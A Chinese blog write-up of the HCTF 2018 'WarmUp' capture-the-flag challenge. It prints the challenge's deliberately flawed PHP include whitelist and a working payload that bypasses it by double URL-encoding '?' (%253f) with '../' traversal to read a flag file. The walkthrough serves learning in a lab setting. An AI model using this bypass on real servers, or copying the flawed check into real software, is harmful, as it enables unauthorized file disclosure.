[HCTF 2018]WarmUp
靶场首页
打开靶场后,查看源码即可看到<!--source.php-->
打开source.php页面
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <?php highlight_file( __FILE__ ); class emmm { public static function checkFile(& $page ) { $whitelist = [ "source" => "source.php" , "hint" => "hint.php" ]; if (! isset( $page ) || ! is_string ( $page )) { echo "you can't see it" ; return false; } if (in_array( $page , $whitelist )) { return true; } $_page = mb_substr( $page , 0, mb_strpos( $page . '?' , '?' ) ); if (in_array( $_page , $whitelist )) { return true; } $_page = urldecode( $page ); $_page = mb_substr( $_page , 0, mb_strpos( $_page . '?' , '?' ) ); if (in_array( $_page , $whitelist )) { return true; } echo "you can't see it" ; return false; } } if (! empty ( $_REQUEST [ 'file' ]) && is_string ( $_REQUEST [ 'file' ]) && emmm::checkFile( $_REQUEST [ 'file' ]) ) { include $_REQUEST [ 'file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?> |
审计php代码
1 | $whitelist = [ "source" => "source.php" , "hint" => "hint.php" ]; |
得到另一个地址/hint.php,打开以后提示我们flag在ffffllllaaaagggg里面
接下来,继续审计source.php代码
1 2 3 4 5 6 7 8 9 10 | if (! empty ( $_REQUEST [ 'file' ]) //$_REQUEST['file']值非空 && is_string ( $_REQUEST [ 'file' ]) //$_REQUEST['file']值为字符串 && emmm::checkFile( $_REQUEST [ 'file' ]) //能够通过checkFile函数校验 ) { include $_REQUEST [ 'file' ]; //包含$_REQUEST['file']文件 exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; //打印滑稽表情 } |
这段代码告诉们需要满足三个条件
1 2 3 4 | 1.值为非空 2.值为字符串 3.能够通过checkFile()函数校验 否则打印滑稽 |
查看checkfile()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | highlight_file( __FILE__ ); //打印代码 class emmm //定义emmm类 { public static function checkFile(& $page ) //将传入的参数赋给$page { $whitelist = [ "source" => "source.php" , "hint" => "hint.php" ]; //声明$whitelist(白名单)数组 if (! isset( $page ) || ! is_string ( $page )) { //若$page变量不存在或非字符串 echo "you can't see it" ; //打印"you can't see it" return false; //返回false } if (in_array( $page , $whitelist )) { //若$page变量存在于$whitelist数组中 return true; //返回true } $_page = mb_substr( //该代码表示截取$page中'?'前部分,若无则截取整个$page $page , 0, mb_strpos( $page . '?' , '?' ) ); if (in_array( $_page , $whitelist )) { return true; } $_page = urldecode( $page ); //url解码$page $_page = mb_substr( $_page , 0, mb_strpos( $_page . '?' , '?' ) ); if (in_array( $_page , $whitelist )) { return true; } echo "you can't see it" ; return false; } } |
可以看到函数代码里面包含四个if语句
1 2 3 4 5 6 7 8 9 10 | 1.第一个 if 语句对变量进行检验,要求 $page 为字符串,否则返回false 2.第二个 if 语句判断 $page 是否存在于 $whitelist 数组中,存在则返回true 3.第三个 if 语句判断截取后的 $page 是否存在于 $whitelist 数组中,截取 $page 中 '?' 前部分,存在则返回true 4.第四个 if 语句判断url解码并截取后的 $page 是否存在于 $whitelist 中,存在则返回true 若以上四个 if 语句均未返回值,则返回false 有三个 if 语句可以返回true,第二个语句直接判断 $page ,不可用 第三个语句截取 '?' 前部分,由于?被后部分被解析为get方式提交的参数,也不可利用 第四个 if 语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为 '?' ,仍可通过第四个 if 语句校验。( '?' 两次编码值为 '%253f' ),构造url: http: //399fe153-1f62-43d5-a67f-e645a0e7ac66.node3.buuoj.cn/source.php?file=source.php%253f../ffffllllaaaagggg<br><br>经过测试发现无返回值,这可能是因为我们不知道ffffllllaaaagggg文件存放的具体位置<br>所以依次增加../,最终成功拿到flag |
1 | http: //xxxx:xxxx/source.php?file=source.php%253f../../../../../ffffllllaaaagggg |
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步